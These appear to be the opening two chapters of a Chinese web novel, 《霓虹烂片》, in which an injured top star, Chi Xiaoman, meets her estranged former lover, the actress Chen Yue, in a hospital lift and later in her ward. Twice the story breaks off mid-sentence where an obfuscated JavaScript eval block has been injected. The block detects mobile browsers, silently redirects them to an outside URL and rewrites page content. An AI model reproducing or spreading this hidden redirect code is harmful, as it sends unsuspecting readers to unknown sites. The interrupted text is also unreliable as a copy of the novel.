《霓虹烂片》
1. 「二零二三」
凌晨,暴雨,仿佛上帝给天划了道口子。
某急诊室留观病房内,两道模糊声线从廊道传进病房——
“听说迟小满要拍电影了?”
“假的。”
“你这么肯定?”
“废话。”说这话的人相当笃定——
“我就问问你,活这么多年,见过哪个当红女顶流好端端放着流量钱不赚,偏偏没事干跑去电影圈当什么新人导演挨骂的?再说了……”
“再说什么?”
“迟小满什么人你不知道?”
“她怎么了?”问话的人稀里糊涂的,“你不喜欢她啊?”
“哎——我可没这么说啊。”接话的人忙着撇清,“反正像她这种爱炒作的我一个都不喜欢,一会这一会那。”
“天天热搜上个没完,一点事都让人跟着大惊小怪。等会,咱先不说这——”
“先说这电影就算是迟小满本人真想去拍,那她公司能这么傻?好不容易捧个女顶流出来,还能放她这么久不出来拍戏拍广告,让她跑去当什么导演?”
“是这个理。”开头问话的人声音变小,接着像是看到什么,很是稀奇地提起,“哎——但这热搜上不还说今天早上陈——”
“这更假。”接话的人愈发斩钉截铁,“行了,你别看了,就一烂瓜,比说迟小满当导演还假!”
话落,两道声音走远,尾音被稀里哗啦的暴雨吞进去。
此时此刻,留观病房内寂静无声。
一名痛经患者打着点滴,不露声色地往旁边瞟一眼——
那是张靠廊道的病床。
从床头到床尾,床帘绕了一圈,紧紧把里头病床上的人包围着。
里头的人倒是挺安静,从进来起,基本就没出什么声。
不过刚刚那俩声音这么大。
难道这大明星躺在病床上,就一点动静没听见?
四个小时前。一大伙人围着个满脸是血躺在病床上的女人送进来。
没过多久。
一伙人又着急忙慌、乌泱泱、一个连一个的打着电话跑了出去。
但凑巧急诊室留观病房里人少,旁边的痛经患者眼睛尖脑子快,就在病床推进来擦肩而过那一秒,她立马认出——
那满脸是血的女人是迟小满!
迟小满。
刚走廊上被人扔出去的椰子水广告上的迟小满;每天上班都能在4号线地铁珠宝广告上碰见的迟小满;
每年五月二十二在大街小巷商场大屏上都疯狂刷屏的迟小满;
出席一场商务站台活动,还没开始,就能直接让商场被人山人海挤崩溃的迟小满。
娱乐圈现役女顶流,微博粉丝接近破亿的……那个迟小满。
怎么会半夜满脸是血,还被送到郊区的急诊室来?
也不知道这会热搜上多热闹。
痛经患者拿起手机瞥了眼,就再次忍不住往旁边紧闭的床帘瞟去。
凑巧就是这个时候。
床帘里突然探出截细瘦白皙的手腕。
“唰”地一声,床帘拉开——
痛经患者还没反应过来,就和病床上的人视线撞个正着——
女人戴着医用护颈脖套,本来正努力挺着脖子,盯着天花板发呆。
大概是有点费力。
等伸手把床帘拉开了,才反应很慢地转动眼珠看过来。
然后就那样,在病床上斜仰着脸,毫不吝啬地对她笑了下,问,
“我听你难受好久了,要喝点热水吗?”
!还真是迟小满。
患者瞪大眼睛,一时之间没反应过来,盯着迟小满发起了呆——
迟小满生着一双典型的漂亮猫眼,眼型圆润,眼尾狭长上挑。
但眼下。
她整个人在病床上僵躺着,只能咕噜噜地转着眼珠子来看她。
反而有种特殊的灵动,更像只猫儿了。
“是我打扰到你了吗?”
和她维持着斜对着的姿势,艰难地对视一会,迟小满搭在床帘上的手犹豫着准备拉回去,语气里也有歉意,
“不好意思——”
“没有!”
还在发呆的患者反应过来迅速摆手,不太好意思地捏了捏耳朵,
“就是你真人比手机上漂亮多了,我那个,那个没反应过来……”
况且她刚刚痛狠了,是没忍住哼唧了一阵,没想到还真被这大明星听到了。
迟小满愣了两三秒。
对她笑了起来,一双像猫儿的眼睛也弯成了月牙,
“谢谢。”
“你要喝热水的话,我旁边的柜子上有个保温杯。”
窗外哗啦啦的暴雨声中。
她的声线听起来很干净,不含混,格外鲜明。
但说实话。
患者没想到会被她主动搭话,现在还稀里糊涂的,什么也没听进去。
迟小满说完这句,特意等了一会,没听到她说话。
便困惑地转了转眼珠。
然后像是意识到什么,笑着解释,“都是干净的,我没喝过。”
“不是,我不是那个意思!”
痛经患者再次回过神来,慌乱间瞥到她们中间共用的那个柜子,上面果然摆着个保温杯,“我……我就是不好意思……”
“没关系。”
迟小满笑眯眯地说。她的笑容弧度看起来很标准,漂亮,柔软,没有攻击性,说话的语调让人感觉很安全,丝毫不会觉得被冒犯,“反正我也喝不了,你肚子痛的话喝点热水会舒服很多。”
“那我……就……”患者犹豫着舔了舔干燥的唇,“谢谢?”
“好。”
迟小满还是冲她弯着眼,“可能会有点烫,小心点。”
留观病房内就她们两个人。患者也没再扭捏,把保温杯拿过来,找了个一次性杯子倒出来,抿了口热水,确实比之前舒服不少。
只不过……她确实没想到迟小满会是这么个性子?
热心肠,讲礼貌,还愿意跟陌生人搭话,看起来是没什么架子。
是大明星在作秀?还是……
想到这里。
痛经患者一边小口抿着大明星给自己的热水,一边又去看旁边的迟小满。
应该是迟小满手上没力气,床帘被拉回去了一大半,留着点空。
但还是能看到——
里头的迟小满很安静地躺在病床上,盯着天花板发呆。
刚刚满脸的血已经没了,但不知道是助理粗心大意还是怎么回事。
不过尖瘦下巴上还留了点没擦干净,在格外白皙的皮肤上有些突兀。
头发似乎是刚剪不久,和之前商业活动里看到的不一样。
像是偏高层次的公主切。
但并不死板。
要仔细看才能看出来是公主切,栗棕长发发梢微卷,发顶蓬软。
好像是穿着戏服,普通大T恤,白一块灰一块,乱七八糟的。
但好在人是个衣架子。
只稍微露个肩出来,也能看出她把这衣服穿得挺漂亮。
一种干净倔强的性感。
不知道打量了多久,患者小口小口地抿着热水。
等回过神来。
杯里的热水都喝完了。
她自己都觉得挺过分,喝人家的水,还上上下下盯着人看那么久。
可迟小满自己却跟个没事人一样,被她盯着看这么久也不恼,像是习惯了“被打量”,就那样安安分分躺着,也没说出点声音打断她。
“小满。”看了这么久,患者也有点不好意思。
“嗯?”
迟小满抽出思绪,慢慢将视线转过去,对上患者试探性的眼睛后,她习惯性地挂上嘴角笑容,“喝完啦?”
“谢谢你的热水。”脸色苍白的痛经患者像是下定什么决心,对她说,“我觉得你比网上那些人说的好多了。”
迟小满怔住。
“你别听他们说的。”患者挠了挠下巴,“反正我支持你去拍电影。”
迟小满没想到她会提起这件事,愣了好几秒,才笑起来,“好,谢谢。”
患者“嗯”了声,没说其他。
迟小满礼貌性地等了会。
挪开视线。
重新看向白花花的天花板,就听到雨声里,旁边又传来模模糊糊的一句——
“那陈樾呢?”
雨声似乎停了一瞬。迟小满闭了一下眼,重新睁眼的时候——
她意识到旁边的人还在盯着自己看,便耐着性子去看对方。
对上对方好奇的视线。
她还是像刚刚一样弯着眼睛笑,语气也没有什么变化,
“嗯?她怎么了?”
“陈樾真的会拍你的电影吗?”患者追问,“你们两个不是从来都不同台吗?”
迟小满嘴角微笑的弧度没有变化。她在噼里啪啦的雨声里停了一会,轻着声音,先回答了后面这个问题,“没有从来都不同台呀。”
“是吗?”患者古怪地转了转眼珠子,“那电影呢?”
病房里有好几只飞虫飞进来,围着白炽灯撞来撞去。
迟小满怔怔盯着看了会。
垂下眼睫,双唇分开,刚要给出回答的时候——
一阵急匆匆的脚步声传进病房。
是助理方阿云。
她办好住院手续,找来轮椅,准备把迟小满送到楼顶的VIP病房留观。
也打断了她们的对话。
迟小满分开的唇慢慢阖上。她没回答患者的问题。
被方阿云小心翼翼地搀扶着下床。
好不容易下了床。
迟小满没注意抬了抬下巴,结果疼得浑身冷汗,踉跄坐到轮椅上。
被推出去之前。
她脸色苍白,只来得及对这位仅有一面之缘的患者笑一笑,然后说,
“保温杯里还有热水,你放心留着喝就好。”
“不用还吗?”
患者没反应过来,眼睁睁看着迟小满被推了出去,连影子都看不见,心里愣愣想——难道瓜是真的?
女顶流真要转行当电影导演了?
女主角还真是影后。
说出去谁信啊?
关键这到底真的假的啊?
-
从急诊病房到住院部楼顶vip病房,要挤几道长长的廊道,到达另外一栋建筑,再乘坐一段电梯。
方阿云找来帽子、口罩和一件刚洗好的外套,把迟小满头脸和上半身都裹得严严实实,才小心翼翼把她推出去。
今天下午。
迟小满赶飞机过来补上部戏的一场追逐镜头,这两周她连轴转,每天睡眠时间不足三小时。
其实只是两三个镜头的事。
公司是想让剧组找个替身上,不想让她特意空档。
不过考虑到完整性,再加上不太喜欢用替身,迟小满还是坚持自己上。
公司给她安排的行程满满当当,调调补补也只勉强空出三个小时。
补拍时,道具车出了问题。
一不留神,车从她肩后冲撞上来。
幸好对手戏演员眼疾手快踩了刹车。
不严重。
左手骨折,颈部挫伤。
至于那新闻图上看起来吓人的满脸血,只不过是拍那场戏时的血浆道具。
也幸好,补拍的镜头拍完了。
就是这后续几天的行程肯定受影响。
迟小满向来不喜欢给别人添麻烦。
也没想到自己过来补拍个镜头,还能闹出这么个事。
眼下受个小伤,看着身边上上下下的人跟着她着急上火。
她挺过意不去。
现在商务组忙着和品牌那边协调后续商务拍摄时间也就算了。
其他人,公司的,剧组派来赔礼道歉和陪诊的,她能给放假的放假,能让去休息的催回去休息。
从傍晚撞了车,到现在凌晨在急诊打完止痛点滴,做了几个必要的检查项目,打了石膏,医生让留观,她就只留下助理方阿云在医院照看着她。
“叮——”
是电梯开了,里面的人齐齐抬头看过来。
热搜久居不下。迟小满现在状态不好,最忌被拍到。
方阿云把她头上帽子又往下盖了点,也顺势把她已经戴好口罩的脸遮得严严实实。
进了电梯,迟小满瞬间觉得头晕目眩,也不知道是不是止痛点滴药效这会过了,细细麻麻的疼痛从小臂泛上来。
她忍着痛,被方阿云推到了个安全的位置。
便听见两道声音从背后窸窸窣窣传出,
——“看热搜没?陈樾今天还真又
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506934|186112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拿影后了。”
——“啧,得说人家有天赋呢,出道到现在拢共就拍了五部片吧,这都拿俩影后了。”
迟小满仰挺着脸,安静盯着视野里的黑暗,没有任何动作。
方阿云大概是以为她难受,给她揉了揉疼到发麻的肩膀。
——“迟小满撞车这事看起来挺严重啊,图里看着血呲呼啦的,还挺吓人。”
——“我看看呢,哎哟我去,这么严重?该不会破相了吧?”
#迟小满撞车
#陈樾金像影后
这大概是今天微博上最热闹的两件事。由不得迟小满不想听,也由不得她不想让这两件事摆在一起。
就连这郊区医院的凌晨,一路上也多的是人在说。
“叮——”
迟小满恍惚间回神。
是电梯又开了。
但还没到vip病房的楼层。
陆陆续续挤进来几个人,在她轮椅边紧紧挨着站着。
有个步子特别急的。
像是跑了很久,进电梯到她身边站着的时候呼吸还急促着。
迟小满痛得头晕,艰难挪动轮椅,给人让了点位置。
暴雨从傍晚开始就没停,旁边这人不知道是从几楼上的,可能淋了雨,身上还带着湿漉漉的热意,不过就这么滴着水来医院,估计也是个急事。
医院的急事可大可小。她这轮椅在中间一拦,又是到顶楼,不知道耽误人家多少时间。
考虑到这点,迟小满努力转动轮椅,想着尽量多空点位来,等下让人好出电梯。
可这人刚刚还呼吸急促着,这会等她挪了位置,却突然一动不动,只孤零零地在她身后站着。
后面的人倒是跟着她轮椅往里挤了挤,但嘴上还在看着热搜继续讨论——
“你看这营销号还说迟小满要转行拍电影了,女主角是陈樾,真的假的?”
“假的呗,营销号有多夸张你知道。再说了,多少年了,她俩一个流量,一个影后,就从来没同台过。”
“我可特意去搜了哈,都说就算是那些什么年底活动,她俩都是一个前脚刚走,另一个才姗姗来迟,我看这俩纯粹就不对付!”
“也是,我记得前两年那条微博不也闹得挺厉害吗?都说迟小满蹭陈樾热度……我要是迟小满,现在都恨死陈樾了。”
“我说你这话说反了吧?明明是迟小满突然发条不指名道姓的微博说恭喜,陈樾拿了影后都还低调着呢,结果就被迟小满这个腥风血雨的体质连累上了黑热搜。”
“我要是陈樾,我还恨死迟小满了呢!”
话落,“啪嗒”一声,有什么东西砸落到迟小满脚边。
动静不大。
但还是惊得她从疼痛中猛然掀开眼皮——
“哎,帮我捡一下谢谢!”掉东西的人声音是从电梯后方传过来的。
迟小满头还昏着。一下没反应过来自己身在何处。
她浑身僵直,并拢膝盖。
封闭空间里她像只突然受到惊吓的猫,动弹不得。
旁边的人因此得了点空。
却也突兀地停顿一会,才慢慢蹲下,从她轮椅边把东西捡走,转身还了回去。
掉东西的人回了声谢谢。
旁边的人没回话。
只挪回位置,把空间重新让给迟小满。
迟小满维持并拢膝盖的动作,完全没注意陌生人的体贴。
她现在头昏脑胀,浑身上下都疼。
便只是小口小口努力呼吸着,费劲缓了一会,才疲倦不堪重新阖上眼。
这几年她总是容易被吓到,现在伤也没缓过来。
这么一吓。
冷汗“唰”地一下就逼出来,一颗一颗从下颌滴落。加上快要入夏,空调风凉。
再闭眼,背上被凉风一刮,她只觉得天旋地转,没忍住缩了缩下巴。
结果脸上帽子也跟着偏了点。
猝不及防——
她的下半张脸就这么敞了出来。
慌张间迟小满也没意识到自己还戴着口罩,她僵着脖子,急忙抬手扶了一下。
也是在同一时间——
身旁那个影子偏了点,拦在她身前,把她挡得严严实实。
她以为是方阿云。
下意识伸手去够,结果还没碰到,就听到电梯里有人惊讶出声,
“卧槽!”
“陈樾?”
这一声让聒噪的电梯瞬间静谧起来,也几乎让迟小满迟钝的大脑反应过来之前,就开始产生某种类似凌迟般的心悸。
她悬在半空的手滞住,细微地颤动着。昏暗中,她呆呆地眨了下眼,视线艰难下落。
却真的瞥见片衣角在视野角落飘动,陈樾从前最爱的墨绿——
很久很久以前,聒噪夏日,发霉天花板,无袖棉质T恤的墨绿,内衣肩带勾勒白皙肩胛骨的墨绿,发带收束黑长直发飘摇的墨绿。
她躺在女人沾着汗水的膝上发呆,总觉得对方是全世界唯一能把这个颜色穿得不沉闷不单调,反而柔情似水、令人魂牵梦萦的人。
每次她看着她发呆。
女人都会低脸,“怎么啦?”
然后笑眯眯地摘下那双常戴的扁圆眼镜,用那双温柔忧郁的眼睛望她一会。
实在没办法了。
就用柔软手指轻触她的鼻尖,“怎么总是喜欢看着我发呆啊?”
也会在黄绿老旧灯光里对她笑,声线里带着跳跃的笑意,哄她,
“大明星。”
如今将近十年,记忆中仿佛是这个世纪最热的那个夏天早就过去。
她们一前一后,站在同一个电梯里。
像两艘在拥挤大海里相撞的船,距离很近,好像又很远。
电梯里毫不相关的人,却在争执到底是她该恨她,还是她更该恨她。
迟小满怔怔盯着那片近在咫尺的衣角。
缓缓收回被空调风吹得僵冷的手,轻搭在轮椅扶手上。
她攥紧手指。
没过几秒。
便听见在这阵死气沉沉的静谧过后,电梯里终于有人忍不住出了声,
“真是陈樾?可她这会不是应该在香港领完奖庆功呢么?”
压得极低的音量,疑惑的语气,
“半夜三更的,跑到这北京郊区的医院来做什么?”
2. 「二零二三」
“你好。”
被人认出是意外,但陈樾并不躲闪,大大方方打了个招呼。
音量不大。
却足以在封闭空间里刺破模糊和僵硬,落到迟小满疯狂鼓动的耳膜中。
真的是陈樾。
迟小满在微弱光线中盯着那片衣角,感觉到手臂和颈部的疼痛仿佛就此消失,演变成某种在四肢百骸中弥漫开来的僵麻。
这种生理感受实在令人费解,也令她神思抽离地抓紧轮椅扶手,无法做出任何反应。
而显然。
陈樾这一声“你好”激起千层浪。
电梯里窸窸窣窣一阵,有人大着胆子又搭了一句话——
“恭喜啊影后!”
听着这话,陈樾似乎转头笑了下,还说了声“谢谢。”
语气是柔和的,咬字极为清晰,声线是那种她特有的、像水一样的自带柔情。
这个女人总是面面俱到,对谁都和和气气,不会轻易给人难堪。
从前迟小满尤其羡慕她的事事周全,也最讨厌自己的横冲直撞。
如今十年过去,迟小满如同当年自己所期待的那样,已经不再像二十岁出头时那么横冲直撞,也多了几分陈樾当年的八面玲珑。
但当年的她应该没想过——有一天,自己会是这个电梯里,唯一一个无法大大方方向陈樾道声“恭喜”的人。
电梯里七嘴八舌,认出来陈樾的一口一个“恭喜影后”,没认出来的也在旁边人的指导下在手机上搜了个来回,也乐乐呵呵地跟了句“恭喜影后”。
陈樾不厌其烦。收到一句“恭喜”,就柔着声音回一句“感谢”。
相比起迟小满褒贬不一的风评,陈樾的路人缘还是好的。
这些年来她低调刻苦,除了电影之外,不常出现在大众视野内,也不怎么上综艺直播,是大众眼里典型的“拿作品说话”的好演员。
“叮——”
电梯门再次打开,没人愿意先出电梯。
迟小满在角落里仰头,盯着残缺光线里的电梯按键,依旧不发一言。
电梯门重新关上。
有“咔嚓”声响起。
声响不大,但很突兀。
迟小满思绪恍惚,没忍住在角落里颤了颤肩,幅度不是很明显。
但可能还是被她身后的陈樾察觉到。女人不动声色往她这边挪了挪,体贴帮她挡住身后的闪光灯。
迟小满费力分开双唇,觉得自己好歹得说声“谢谢”。
可犹豫几秒就错过时机。
“咔嚓”声再次出现——
陈樾在她身后动了下步子,似乎是想要转身开口劝阻,
“你好——”
“不好意思。”
迟小满截断陈樾的话,先压着干涩的嗓子开口了,
“可以不要拍照吗?”
两人同时出声让拍照的人愣了一下。
不过陈樾那句相对较温和的“你好”,还是被迟小满冷然干涩的语气盖过去。
拍照人悻悻说了声“哦好吧”。
不知道到底有没有把手机收回去,在嘴边嘟囔了句“急什么?又不是拍你”。
迟小满沉默盯着电梯上行数字,没再出声。事实上,这话她也不是为自己说的。
陈樾刚拿影后,热搜上还沸沸扬扬着,到处都有人想挖点“金像影后”的料出来。
要是晚上闹出个“拒绝拍照”的事,不知道会被营销号、以及别有用心的怎么写。
在圈内浮浮沉沉这么多年,没人比迟小满更清楚这些手段。
要真是她多想,那也就算了。要陈樾真因为帮她说了声“不要拍照”闹上热搜,那她对不起陈樾的事,就又多了一件。
这声“恭喜”她已经无法堂堂正正说出口,更不想去欠陈樾更多。
电梯安静下来,继续上行。
迟小满能感觉到——
陈樾就站在她身后,仍旧在为她遮挡有可能会发生的非必要曝光,目光可能停留在她身上,可能又没有。
可能是习惯性的那种看人时柔柔飘飘的眼神,又可能是疲惫不堪的,客客气气的,怨恨敏感的。
迟小满看不到。她庆幸自己看不到,也庆幸这只是一场不需要她亲自面对的对峙。
“叮——”
是电梯门又开了。
还是没人出去。
迟小满思绪混沌。
她沉默片刻,几乎想要再次当个逃兵,及时逃离这种荒诞的、措手不及的情况。
与此同时。
“咔嚓——”
又有拍照声响起。
迟小满犹豫着想要转动轮椅。
站在她身后的陈樾却先动了。
女人及时按下电梯开门键,却没有马上走出电梯。
她在她身后停了大概有十几秒钟,似乎是想说些什么。
但最后还是什么都没有说。
就像这十年来。她们不可避免的,在颁奖礼后台,在饭局偶遇到的每一次。
都是客客气气,装作从前并不相识,一次次擦肩而过。
漫长空白过后,陈樾走了出去。
留下那片在视野里残存的墨绿衣角。
和一阵轻轻柔柔的风。
以及风在迟小满手臂缓缓擦过的柔软触感。
也就此带走了电梯里恼人的闪光灯。
电梯关闭,重新恢复嘈杂。
没有人再偷偷摸摸拿着手机拍照,也再没有迟小满疲倦时总是无法自然应对的闪光灯出现。
那阵之前被隐藏的疼痛也再次泛上来,密密麻麻地铺到骨头缝隙里。
迟小满垂眼,盯着电梯所滞留的红色数字“13”,像陷入蛛丝缠绕的黑色洞穴,连根手指都动弹不得。
直到方阿云过来,轻轻给她调了调脸上的帽子。她才在模糊间意识到——
以陈樾那样体贴周到的性格,刚刚在她身后停留,可能只是在看到她两次受到惊吓之后,考虑出去之前是否给她调一下帽子。
只是,和她那声说不出口的“恭喜”和“谢谢”一样。
处处妥帖的陈樾,最终也没能动手给她调帽子。
-
后来怎么出的电梯,以及电梯里那些人在陈樾走后还说了什么,迟小满都没有印象。
等回过神来的时候,她已经躺在VIP病房的病床上,盯着天花板发呆。
而方阿云了解她每次睡觉都要把电视声音开着的习惯,给她打开电视,调到她平时总是爱开着睡觉的电影频道。
听到声音,迟小满木讷间转了下视线,瞥到个空镜,就认出来——
这是《在二月二十九日奔逃》,是部老片子,可能都是七八年前的了。
下一秒,主角素面朝天的脸切出来,证明了她的猜想。
那是张得天独厚的电影脸,在光影下,有种独特而疲倦的美。
陈樾的第一部电影。
文艺片,长镜头多,新生女导演,没什么剧情,大多是些没有台词的长镜头。
后来上映也没多少票房。
还被个影评人说——
不讲爱情光讲自我,还痛苦晦涩,这么文艺的东西现在谁还爱看?
直到三年前,陈樾第一次拿影后,这电影才被翻出来,翻红了一阵。
而当时,也有人翻出那名早已退圈的女导演当年对陈樾的评价——
“陈樾生着一双像雾像雨又像风的含情眼,让人在电影院和她在荧幕上对视的第一眼,就会觉得,自己似乎在被她用力而悲伤地爱着。”
“以至于,冷不丁回过神来的时候,就发觉,原来是自己在第一眼就爱上她。也心甘情愿,要与她来一场二月二十九日的奔逃。”
今天不是陈樾第一次拿影后,金像又是个格外有含金量的。
一时之间,目之所及,都是她的消息。
吃了方阿云递过来的止痛药,迟小满听了会电影里陈樾柔韧慵懒的声线,没急着阖眼,也没让方阿云换频道,而是先找到手机,翻到微博——
她的事情凑巧和陈樾拿影后碰到同一天,也是烦心事。
她当然不是故意。
可上次陈樾拿影后,她深更半夜没忍住发了条微博,虽说只是声不指名道姓的“恭喜”,但也确实是她脑子不想事,给陈樾带来没必要的麻烦。
今天再次撞上。迟小满只想尽快把自己这事压下去。
她不想抢陈樾风头。
也想让陈樾眼不见心不烦,平平静静度过这一天。
但现实总是不能如她所想。
用小号打开微博,她先是看见自己的微博发了条声明——是宣传组代发的。
出这种事最注重就是尽快给消息安抚舆论。当时她刚进医院,人还没醒全乎,眼前一片黑还什么也看不清,就被公关组拉着拍了张比剪刀手的照片出去公关。
微博是几个小时前发的。
照片上她眼睛半睁不闭。但出于职业素养,面对镜头,当时她还是迷迷糊糊扯着嘴角费力笑了一下。
她自己微博下面评论倒还好,都是些安慰和鼓励。
但在营销号截图转发的热评里,有一条格外明显——
【这照片看上去迟小满不是还在笑吗?而且是不是还刻意剪了个漂漂亮亮的头发?
我说迟小满有这么恨陈樾吗?
偏偏赶上她拿影后这天来作秀,关键也不是一次两次了吧/冷汗】
热评下的回复倒是褒贬不一——
【人都撞车了,我求你赶快积点嘴德好下地狱吧。】
【真是服了。人明显是为了拍戏剪的发型好不好?我看是你恨迟小满恨得夜不能寐吧?】
【一次是巧合,两次……真就是故意了吧?】
【我说陈樾到底也真是个体面人,拿两次影后,两次都被迟小满蹭了热度,也没说买个通稿来回击的。】
【你怎么知道她没买?说不定她私下底都恨死迟小满了】
【你怎么不说迟小满恨陈樾啊?人受了伤流那么多血还在医院里昏迷着呢,撞车还得数日历看陈樾拿不拿影后呗?我算是看明白了,每次碰上陈樾,挨骂的就得是迟小满是吧?】
【我看这俩每次撞上都没好事,不管好事坏事,都惹得双方都一身骚】
还有条回复直接放了张微博截图,是不知名营销号发的瓜条——
【电影《霓虹》,原创剧本,不出意外又是个文艺片,公路片,双女主。
导演:迟小满
编剧:浪浪
主演:金马影后陈樾(金像奖最佳女主入围热门人选)
今年下半年开机,拍摄周期一年。】
这是条发布于昨天半夜又被秒删的微博。本来没多少人看见,都当烂瓜吃了,但正巧,不到十二个小时,就赶上了迟小满撞车,还有陈樾拿影后这两件事,到现在已经超了百万转发。
迟小满心绪平静地看着这条瓜条,不用点开评论,也知道下面的回复是什么。
但或许从没看到过这三个名字摆在一起,她没能控制住自己,还是点开了。
底下的回复如她所料——
【……我说陈樾上辈子是欠了迟小满什么八百亿的债吗?第一次拿影后,被迟小满蹭热度发微博,还好声好气地回了条“感谢”,没得到回应就算了。好不容易现在第二次拿影后,还又被编这种烂瓜来分热度】
【这编剧是谁啊?听都没听过,有什么作品?】
【楼上的,这明显假瓜假名字啊,连编剧名字都是编的,有什么真实性?】
【有没有一种可能,其实迟小满本人也不知道这件事。】
【我不信迟小满没点自知之明,不知道这瓜一编出来会被嘲到明年……】
【要黑红热度呗,迟小满这么操作也不是第一次了】
【哈哈哈哈,我就等着看陈樾会不会反击吧。都这样了,我不信她真能佛成那样。】
【我就悄悄问一句,瓜真是迟小满自己那边编的?她和她公司到底有没有那么傻啊?还觉得这年头了,黑红热度能是个好事儿呢?】
【那我就悄悄说一句,迟小满应该是快和公司解约了。】
【啧,怪不得呢,原来是顶流要走,这公司还不得扒她一层皮?】
评论看了几条,止痛药药劲逐渐泛上来。
迟小满精力不济,放下手机,便对上方阿云试探性的视线——
她笑了笑,出声很轻,
“放心,电影会拍的。”
事实上,那瓜条还真对了一半。
电影的确是迟小满打算拍。
她和公司的合同也确实是快到期了,才让她下定决心去做这事。
前段时间。
她拿着剧本去找了几个熟识的制片人,都还没商量出个什么结果。
到昨天夜里,瓜条就被爆了出来。
至于这是谁的手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506935|186112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笔。
她当然清楚。
只不过现在她临近合同到期,行程被安排得紧,出了这档子事,也没精力去闹。
可惜。
就是让陈樾被迫卷进了她这点破事。
主演当然不可能是陈樾。
迟小满没那么坏。
从拿着项目和剧本找制片人起,她就清楚,这事传出去,自己肯定要被嘲个天翻地覆。
没人觉得是真的,也没人觉得她真能拍电影。
就算最后真拍出来,也不知道多少人带着看热闹的心理,等着去逐帧审判。
做决定之前,迟小满已经反复确认,现在的自己能够承担最差的后果。
就是没想过,现在不仅让陈樾也跟着惹上一身腥。
还偏偏就是在今天这个日子。
也不知道陈樾会不会更恨她了?
或许不会。
迟小满完全想象不到陈樾恨一个人的样子。
记忆中陈樾总是笑意盈盈的。
也总是包容体贴。
不会轻易跟人闹脾气,嘴上从来不说自己讨厌谁。
也从来不会被谁讨厌。
但偏偏就是这样一个人。
碰上了她。
一次两次,都没好事。
暴雨渐渐停了,雨声变小,药劲弥漫。迟小满开始觉得困,意识觉得沉。
她阖上眼,手滑落下来,手机慢慢掉到床沿。
方阿云帮她接住。
也帮她掖了掖被子,还用那双满是皱纹的手摸了摸她的额头。
迟小满快要睡着了。
却还是勉强提起唇角,笑,“你也去睡一会吧。”
方阿云没动静。
迟小满说完这句,意识再也支撑不住,就这么听着雨声,听着电视机里陈樾颇为失真的声线,沉沉睡了过去。
或许是今天太多人在她耳边提起陈樾,电视机里陈樾的声线也始终未消失。
她觉得自己可能梦见了陈樾——
破败出租屋,狭窄的一米二小床,被木板隔出来的浴室里滴水的声音,外面灯光刺眼。
陈樾隔着一层飘摇绿纱望她。
她对她笑,轻轻柔柔地唱着老歌,捂着她的耳朵哄她睡觉,
“轻轻的一个吻,已经打动我的心。深深的一段情,教我思念到如今……”[1]
这是陈樾从前最爱的一首歌。
也是迟小满最爱听陈樾唱的一首歌。
从前她总在迟小满午夜梦醒时给她唱。而那时迟小满搞不懂陈樾为什么总是失眠,这么晚都还睡不着觉。
现在迟小满已经好久没听过了。
连梦里都没有。
但梦很残忍,并不因为迟小满竭力盼望就满足她的愿望,也并不愿意为她持续得久一些。
很快。
她就觉得自己醒了。
迷迷糊糊间。她听到电视机里陈樾说着那些她熟悉到可以倒背如流的台词,听见窗外淅淅沥沥下着小雨,听见走廊有脚步声经过,听见方阿云起身走了出去,也听见一道异常熟悉的声音清晰传进,
“她还好吗?”
声线模糊,语气温情,像是最普通的问候。
四个字。
让迟小满猛然从梦中惊醒。
绝对不是电影里中的任何一句“台词”。
是陈樾。
她不可能认错。
也不可能混淆现实和梦境。
那一瞬间,几乎全身血液倒流,逼得她惊悸不安,像瘫软液体,被凝固在病床上。
可就这一句。
病房外再没有声音传来。
方阿云没有说话,她本来就不会说话。
陈樾也没有再开口,可能是在认真辨别方阿云给她的信息。
迟小满在病床上茫然眨眨眼,脉搏几乎要跳出来。
但病房外迟迟没有任何动静。
直到方阿云关上门,重新走进来,再次帮她掖紧被角。
迟小满才迟钝意识到——
原来陈樾没有进来。
在电梯里碰见,因为她不得不暴露自己,又因为她而不得不提前下电梯,现在还特意过来问候,已经是陈樾的通情达理。
要真再进来和她打招呼,她们之间又还能说些什么?
凝固血液重新流动,聒噪热意渐渐褪去。迟小满缓缓松开揉紧被单的手指,逼自己舒出一口气,不必再纠结那一句普通问候。
方阿云大概以为她睡着,进来之后也没说话,只帮她把电视机声音调小了些。
迟小满紧闭着眼,冷汗和自以为是的窒闷渐渐褪去,不知道是不是心绪起伏让她精力不济,没过多久,她又沉沉睡过去。
这次没做梦。
也没听到更多杂音。
再醒来的时候,天好像亮了,又好像没有。VIP病房的落地窗外灰蒙蒙的,有点发蓝。
有个影子背对着她,朦朦胧胧地站在那里。应该是方阿云。
迟小满觉得口渴,费力地张了张唇,打算喊她给自己倒杯水——
但还没出声。
像是心灵感应。那影子突然回了头。
是个女人。
隔着一层窗帘绿纱望她,黑长发飘摇,看不清脸。
迟小满愣住。
女人停了一会,缓缓走近,迷蒙间似乎正在冲她笑,
“你是不是剪头发了?”
声线藏在雨声里,低低又柔柔,
“还挺好看的。”
后来迟小满回忆起这段重逢,总觉得多年未有交集,陈樾的开场白实在太令人匪夷所思。
像寒暄,像关心。以至于让她险些以为,这是陈樾对她的报复。
因为十年前。
在二零一三年那个热到黏腻的盛夏,地下车库改造的出租屋只要每个人四百块一个月。
